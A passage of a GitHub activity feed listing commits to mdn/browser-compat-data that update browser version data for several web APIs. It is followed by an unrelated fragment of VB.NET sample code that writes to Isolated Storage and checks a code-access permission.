wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:00:42Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/8d3ddcf273becc09f9b9b36139326ca26eee4589" rel="noreferrer">8d3ddcf</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for HTMLQuoteElement API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089623277" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14256" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14256/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14256" rel="noreferrer">#14256</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561618310</id> <published>2022-01-03T16:58:55Z</published> <updated>2022-01-03T16:58:55Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/e0b6775007...43b1c984e3"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:58:55Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/43b1c984e3a15c611b0abc314cc8b0046664d3b5" rel="noreferrer">43b1c98</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update all browsers versions for HTMLFormControlsCollection API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089618163" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14253" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14253/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14253" rel="noreferrer">#14253</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561587537</id> <published>2022-01-03T16:56:25Z</published> <updated>2022-01-03T16:56:25Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/69f98959d0...e0b6775007"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:56:25Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/e0b67750076ad0d93393ccb085d1dc54d773253e" rel="noreferrer">e0b6775</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for api.HTMLElement.outerText (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089616978" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14252" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14252/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14252" rel="noreferrer">#14252</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561489898</id> <published>2022-01-03T16:48:36Z</published> <updated>2022-01-03T16:48:36Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/528d168175...69f98959d0"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:48:36Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/69f98959d01049d80574d185e8e74b11bacad813" rel="noreferrer">69f9895</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update WebView versions for HTMLCanvasElement API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089594658" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14251" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14251/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14251" rel="noreferrer">#14251</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561478464</id> <published>2022-01-03T16:47:42Z</published> <updated>2022-01-03T16:47:42Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/1c83c46f3b...528d168175"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:47:42Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/528d168175ca12effcb92663441b0bb5dba86c36" rel="noreferrer">528d168</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update WebView versions for GamepadHapticActuator API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089591518" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14250" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14250/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14250" rel="noreferrer">#14250</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561470552</id> <published>2022-01-03T16:47:04Z</published> <updated>2022-01-03T16:47:04Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/8988fadf71...1c83c46f3b"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:47:04Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/1c83c46f3b35669320196ee8ed4c058e6e27f81b" rel="noreferrer">1c83c46</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox Android versions for FormDataEvent API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089591110" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14249" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14249/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14249" rel="noreferrer">#14249</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561432212</id> <published>2022-01-03T16:44:01Z</published> <updated>2022-01-03T16:44:01Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/aee84e62b4...8988fadf71"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:44:01Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/8988fadf71141dc430fee7270277952475021227" rel="noreferrer">8988fad</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for FormData API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089590697" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14248" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14248/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14248" rel="noreferrer">#14248</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561367603</id> <published>2022-01-03T16:38:51Z</published> <updated>2022-01-03T16:38:51Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/ac60c669b9...aee84e62b4"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:38:51Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/aee84e62b43d1ef88fa59b157870bd2489d6586d" rel="noreferrer">aee84e6</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox Android versions for api.FetchEvent.handled (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089588080" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14245" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14245/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14245" rel="noreferrer">#14245</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561363029</id> <published>2022-01-03T16:38:29Z</published> <updated>2022-01-03T16:38:29Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/6e0eb31096...ac60c669b9"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:38:29Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/ac60c669b9fd4329e9d466de32b45535970748de" rel="noreferrer">ac60c66</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for FederatedCredential API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089587721" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14244" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14244/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14244" rel="noreferrer">#14244</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561354449</id> <published>2022-01-03T16:37:48Z</published> <updated>2022-01-03T16:37:48Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/625928c8b1...6e0eb31096"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:37:48Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/6e0eb31096b675addd01f2a4c7086881cf77b19e" rel="noreferrer">6e0eb31</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox versions for ExtendableMessageEvent API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089586405" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14243" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14243/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14243" rel="noreferrer">#14243</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561344598</id> <published>2022-01-03T16:37:00Z</published> <updated>2022-01-03T16:37:00Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/5f702b8587...625928c8b1"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:37:00Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/625928c8b125e9d7d4a86fa8c4e87ec3ff3cb69b" rel="noreferrer">625928c</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update WebView versions for ExtendableCookieChangeEvent API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089583771" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14242" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14242/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14242" rel="noreferrer">#14242</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561318915</id> <published>2022-01-03T16:35:01Z</published> <updated>2022-01-03T16:35:01Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/e68f72ae70...5f702b8587"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:35:01Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/5f702b8587e131920441b60a96e28b6b7324efe7" rel="noreferrer">5f702b8</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox versions for api.EventSource.EventSource (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089583044" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14241" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14241/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14241" rel="noreferrer">#14241</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561277837</id> <published>2022-01-03T16:31:50Z</published> <updated>2022-01-03T16:31:50Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/31a42b62de...e68f72ae70"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T16:31:50Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/e68f72ae70c99bb9c5be7489cce03c6e4d44c8f7" rel="noreferrer">e68f72a</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update all browsers versions for Event API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089581729" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14239" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14239/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14239" rel="noreferrer">#14239</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> </feed> IsolatedStorageFile.GetUserStoreForApplication() Using stream As New IsolatedStorageFileStream("newfile.txt", FileMode.Create, storage) Using writer As New StreamWriter(stream) writer.WriteLine("I can write to Isolated Storage") End Using End Using End If End Sub ' Detect whether or not this application has the requested permission Private Function IsPermissionGranted(ByVal requestedPermission As CodeAccessPermission) As Boolean Try ' Try and get this permission requestedPermission.Demand() Return True Catch Return False End Try End Function ... End Class End Namespace using System.IO; // File, FileStream, StreamWriter using 